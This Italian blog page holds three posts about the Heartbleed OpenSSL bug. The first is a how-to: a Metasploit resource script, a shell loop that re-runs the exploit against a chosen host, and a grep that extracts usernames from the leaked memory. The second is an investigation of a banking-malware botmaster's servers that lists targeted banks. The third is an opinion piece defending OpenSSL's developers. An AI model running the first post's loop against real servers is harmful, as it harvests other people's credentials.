Articoli

Metasploit & Heartbleed – Rendere ricorsivo l’exploit

Heartbleed

Heartbleed è un’importante vulnerabilità del popolare software OpenSSL, CVE-2014-0160, il bug consente di leggere fino a 64KB di memoria dal server vulnerabile, con la possibilità di compromettere le chiavi segrete utilizzate per identificare i fornitori dei servizi e per crittografare il traffico, i nomi e le password degli utenti.

Metasploit include un modulo per verificare se un server è vulnerabile o meno, se è vulnerabile permette allora di estrarre la chiave privata RSA e il data leak di 64KB. Se vogliamo lavorare sul data leak per intercettare le richieste GET generate con il protocollo HTTPS dovremmo rendere ricorsivo l’attacco, funzione purtroppo non implementata da Metasploit. Conseguentemente dovremmo ripetere manualmente il comando run ogni qualvolta vogliamo estrarre il traffico dal server vulnerabile.

Per rendere automatica l’estrazione della memoria, ripetendo il comando ogni X secondi mi sono creato un semplice script da eseguire tramite il nostro terminale. Questo ci permetterebbe di estrarre il Data Leak del server in maniera ricorsiva per tutto il tempo che riteniamo necessario.

Metasploit & Heartbleed – Rendere ricorsivo l’exploit

heartbleed.rc

Il primo passaggio da effettuare è quello di creare con il vostro editor di testo preferito il file heartbleed.rc ed editarlo come segue:

use auxiliary/scanner/ssl/openssl_heartbleed
spool /home/Scrivania/heartbleed_script/output_metasploit.txt
set RHOSTS XXX.YYY.ZZZ.JJJ
set verbose true
run

exit

 

Dovrete personalizzare questo script inserendo la corretta destinazione di spool, ovvero dove Metasploit genererà il file di log con il Data Leak e l’indirizzo IP del host remoto. Infine vi ricordo che tra i comandi run ed exit deve esserci un a capo.

Ciclo While

Il passaggio successivo è quello di lanciare Metasploit richiamando il precedente Run Commands ogni XX secondi, useremo un semplicissimo ciclo while da lanciare sul nostro terminale:

while true; do sudo msfconsole -r heartbleed.rc; sleep XX; done

Andando a sostituire XX con i secondi necessari alla ripetizione dell’exploit, ponderate questo valore in base al traffico del server e anche alla velocità della vostra linea.

Grep

Avviando lo script inizierà a generarsi il file di log output_metasploit.txt, precedentemente specificato, dopo diverse ore/giorni di esecuzione risulterà molto difficile leggere il file di log vi consiglio quindi di sfruttare grep per estrarre le porzioni di log che possono interessarvi, ecco un semplice esempio per estrarre ogni porzione di memoria contenente la parola username:

grep -oiE “.{0,20}.username.{0,20}” output_metasploit.txt | uniq

Il comando Grep vi estrarrà dal log tutte e porzioni di memoria contenete la parola username mostrandovi anche i precedenti e successivi 20 caratteri il tutto in No Case Sentitive. Infine ho aggiunto il comando uniq per semplificare l’output evitando doppioni.

/0 Commenti/da

Sulle tracce di un Botmaster…

Heartbleed

Gianni Amato ha pubblicato lo scorso 10 giugno un articolo in cui evidenzia un attacco Malware su base webinject ai danni di tre istituti di credito Italiani, vista la coincidenza dei tre istituti con un precedente caso che ho analizzato lo scorso Febbraio ho voluto approfondire nuovamente la vicenda.

Seguendo le tracce del Botmaster e il codice JS pubblicato da Gianni ho capito quanto fosse ben strutturata l’organizzazione criminale alle spalle di questo nuovo caso, gli istituti di credito coinvolti non sono solo Italiani ma sono coinvolti gli istituti dei principali continenti sviluppati. Il botmaster sfrutta diverse tecniche per oscurare il pannello di controllo online e si appoggia a diversi server per rimbalzare i dati provenienti dai bot.

SSL Trusted

Schermata 2015-06-13 alle 12.22.37La raffinatezza del Botmaster la possiamo cogliere già da questa prima immagine, il dominio che viene sfruttato per diffondere il malware e per raccogliere i dati sottratti sfrutta il protocollo SSL con un certificato valido! Il certificato SSL rilasciato da GeoTrust permettono una comunicazione sicura dal sorgente al destinatario (end-to-end) sulla rete fornendo autenticazione, integrità dei dati e cifratura operando al di sopra del livello di trasporto.

Errore 404

Not_Found

Se avete letto l’articolo di Gianni avrete notato che il malware per sottrarre le informazioni bancarie dal portale di csebanking è proviene da questo url: http://………../sajf98wquioijhsa/scripts/csebanking.js ed è pubblicamente consultabile! Conseguentemente anche la sottocartella http://………../sajf98wquioijhsa/ deve esistere, ma invece accedendoci  appare l’errore Not Found. Impossibile? No, è un trucchetto voluto dal botmaster per confonderci le idee! La sottodirectory /sajf98wquioijhsa/ esiste realmente ma è stata creata una regola contenuta in .htaccess per consentire l’accesso alla relativa sottodirectory solo passandoli un valido parametro nella richiesta GET! Se tale parametro non viene passato verremo reindirizzati ad una fittizia pagina x.php la quale genera il layout Not Found.

Ho scoperto questa particolarità tentando di accedere casualmente a qualche pagina nella cartella principale del dominio, come potete vedere dalla precedente immagine accedendo all’indirizzo http://………../script.php mi appare l’errore No Found ma vengono anche fornite le informazioni sul server “Apache/2.2.15 (CentOS) Server at…..” mentre accedendo alla sottodirectory sajf98wquioijhsa/ questa informazioni non appaiono. La pagina Not Found di Apache è solitamente standard per tutto il dominio/server e salvo personalizzazioni contiene anche le informazioni sulla versione di Apache. Notando questa diversità ho voluto indagare scoprendo quanto precedentemente detto.

Gate

In questo screenshot ho voluto farvi un esempio pratico della mia precedente teoria, accedendo normalmente alla pagine http://………../sajf98wquioijhsa/gate visualizziamo l’errore 404 Not Found, se invece alla richiesta GET gli aggiungo uno o più paramenti (es. ?x=yzv&q=werty) correttamente validati dalle regole di .htaccess visualizzo la pagina e la relativa risposta come potete vedere dallo screenshot. In questo caso il sistema ci conferma di aver ricevuto correttamente le credenziali sottratte alla vittima.

Gate_IndexModificando i parametri che vengono convalidati dalle regole di .htaccess sono riuscito ad ottenere una porzione della pagina di index, dove probabilmente vengono memorizzate le credenziali sottratte o reportizzati i bot attivi. Non avendo i pieni diritti di accesso, ovvero non conoscendo le credenziali, la visualizzazione dei dati è limitata alla sola struttura del pannello di controllo.

Secondo Server

BootMaster Panel

Successivamente ho scoperto che il primo server utilizzato dal Botmaster è vulnerabile, sfruttando quindi il data leak ho individuato un secondo server in uso. Questo secondo server riceve i dati dal primo, a tale server non è associato alcun dominio internet secondo il database di Domaintools probabilmente per mantenere il più possibile nascosto tale server.

Istituti di Credito Coinvolti (e non solo)

Attraverso il leak di memoria estratto dalla vulnerabilità ho potuto, in una analisi durata poco più di 2h, recuperare un’importante lista degli istituti di credito coinvolti in questa operazione. Il botmaster è in grado di sottrarre informazioni dei seguenti istituti, e non solo:

  1. https://www.nwolb.com
  2. https://bankingportal.sparkasse-essen.de/
  3. http://www.co-operativebank.co.uk/
  4. https://www.csebanking.it
  5. https://banking.credem.it
  6. https://www.chebanca.it
  7. https://banking.postbank.de
  8. https://www.rbsdigital.com
  9. https://finanzportal.fiducia.de/
  10. http://www.assist.ru/index.html
  11. https://www.fineco.it/
  12. https://www.citibank.ru
  13. https://www.paypal.com/
  14. https://www.usbank.com/
  15. http://libertyreserve.com
  16. http://www.mbna.co.uk/
  17. http://www.ebay.com
  18. http://www.ebay.fr
  19. http://www.poste.it
  20. http://wachovia.com
  21. http://www.ybonline.co.uk/
  22. http://www.banquepopulaire.fr
  23. https://www.cmb.fr
  24. http://www.credit-agricole.fr/
  25. https://www.labanquepostale.fr/
  26. https://www.secure.bnpparibas.net/
  27. https://www.ing.nl
  28. https://www.discover.com/
  29. https://www.credit-du-nord.fr/
  30. https://www.caisse-epargne.fr
  31. https://www.exabanque.net
  32. https://www.norisbank.de/
  33. https://bankofamerica.com
  34. https://www.chase.com/
  35. https://www.koodomobile.com/
  36. http://www.scotiabank.com
  37. http://www.bancopopular.es
  38. https://www.creval.it
  39. http://www.mybusinessbank.co.uk
  40. http://www.intesasanpaolo.com/

Come avrete notato in questa lista vi sono prevalentemente Istituti di Credito ma anche altri servizi come PayPal, Liberty Reserve che era moneta elettronica ora posta sotto sequestro ed eBay. La lista è bella numerosa e probabilmente con analisi sul target di 24h avrei estrapolato altri target.

Conclusione

La cronaca di questi ultimi dieci giorni ci ha dimostrato quanto è proficua l’attiva di un Phisher o di un Botmaster, in un breve tempo sono riusciti a trafugare 6 milioni di euro. L’indagine ha portato a un raid multiplo in 58 diversi luoghi d’Europa, dove i criminali informatici operavano per effettuare soprattutto attacchi di tipo phishing, ottenendo così i dati d’accesso dagli stessi proprietari degli account per poi trafugare i soldi dalle banche.

Questi avvenimenti ci insegnano sempre più che l’utente finale deve imparare a navigare su internet e a proteggersi da queste minacce molto proficue, bisogna inoltre intensificare i controlli da parte delle istituzioni per fermare questi criminali.

Volutamente ho evitato di scrivere dettagli e passaggi tecnici che mi hanno permesso di estrarre l’elenco degli istituiti, meglio non dare troppi vantaggi al Botmaster! 😉

/7 Commenti/da

[AGGIORNATO] HeartBleed, onestamente mi ha stancato! Considerazioni personali…

OpenSSL HeartBeat

Sì, mi sono stancato di leggere idiozie su l’importante bug HeartBleed che va esclusivamente a colpire il morale degli sviluppatori e il sacrificio che sta dietro al mondo Open Source! Quotidiani che affermano “Allarme per il virus scassinatore, in pericolo milioni di siti internet” dovrebbero solo vergognarsi di mandare in stampa certe stupidaggini, se giustamente volete scrivere un articolo sul tema interpellate un ricercatore o un docente ma evitate di farvi ridere dietro dalla comunità ma soprattutto di mettere fango su un gruppo di sviluppatori che lavorano GRATIS!

Esatto, GRATIS! OpenSSL è un’implementazione open source dei protocolli SSL e TLS ed oltre ad essere Open è anche Freeware e il team principale è composto da quattro persone che per pura volontà personale scrivono questo programma usato da oltre il 60% dei siti web che hanno implementato il protocollo SSL. Sì è proprio così loro hanno deciso di DONARE un software meraviglioso per proteggere i nostri dati e grandi multinazionali come Facebook, Google, ecc ecc le usano per ricavarci DENARO ma appena viene rilevato un bug tutti se ne lavano le mani e puntano il dito verso quattro volenterosi ragazzi!

Io e tre amici decidiamo di fare un gesto importante, partiamo per una missione volontaria nel paese X dove è in corso una sanguinosa guerra e il nostro scopo è quello di salvare più vite umane possibili. Ma purtroppo una mina anticarro colpisce un pullman pieno di superstiti e tutti muoiono! Cosa avete pensato?! “Bhe che bravi ragazzi, hanno impiegato tutto il loro tempo e le loro forze ma purtroppo il male ha prevalso sulla loro umile azione.”!

Capite il paragone?! In questa vicenda si è ribaltato TUTTO, il “male” non è stato neanche considerato ma si è solo pensato ad incolpare un team che ha agito fin dall’inizio per uno scopo ben preciso: DIFENDERE I VOSTRI DATI!

Le persone del Team lavorano per potersi mantenere, per pagare il mutuo e magari anche qualche regalino e nel tempo libero sviluppano e implementano OpenSSL. Perché le grandi multinazionali che usano OpenSSL non hanno mai contribuito al progetto? Nel ventunesimo secolo finalmente si sta scoprendo l’OpenSource, a livello governativo viene imposto l’uso di software Open e Free piuttosto che software a pagamento, a livello didattico ugual modo…ma qualcuno ci pensa al sostentamento di tali progetti?! C’è sempre dietro un essere umano ad un programma Open e Free che ha sicuramente bisogno di mangiare! Oltre a divulgare l’Open dobbiamo imparare a diffondere l’idea che l’Open è un bellissimo regalo ma va corrisposto!

OpenSSL è un esempio ma ne potrei trovare tantissimi, basta guardare su GitHub le repository più in voga o pensare semplicemente al vostro sistema operativo Linux…Mint…Ubuntu…e se pensiamo ai sistemi Server? CentOS, RedHat…certo sono grossi colossi che grazie all’assistenza ai clienti possono permettersi di pagare gli sviluppatori ma comunque ci offrono un OTTIMO prodotto gratuito e una donazione gli sarebbe dovuta!

Ma ora vediamo realmente di cosa dobbiamo preoccuparci? Tutte le nostre password, eMail, carte di credito sono state realmente rubate dai siti internet che usano OpenSSL! NO! Per tutti i siti Internet che non cifrano le comunicazioni lato client è possibile che durante la comunicazione client/server i tuoi dati siano stati rubati.

Essenzialmente la prima cosa da fare è di accertarsi che il sito internet che usate abbia aggiornato OpenSSL,  successivamente cambiate la vostra password, eseguite un logout dal sito ed effettuate un nuovo accesso, “distruggendo” i vecchi cookie precedentemente creati! Eventualmente potete anche cambiare la vostra password, ma le password quasi sempre vengono cifrate prima di essere trasmesse/elaborate e se venissero lette dalla memoria sfruttando l’Exploit difficilmente lo sarebbero in chiaro.

Impariamo ad aiutare chi ci offre gratuitamente qualcosa!

/9 Commenti/da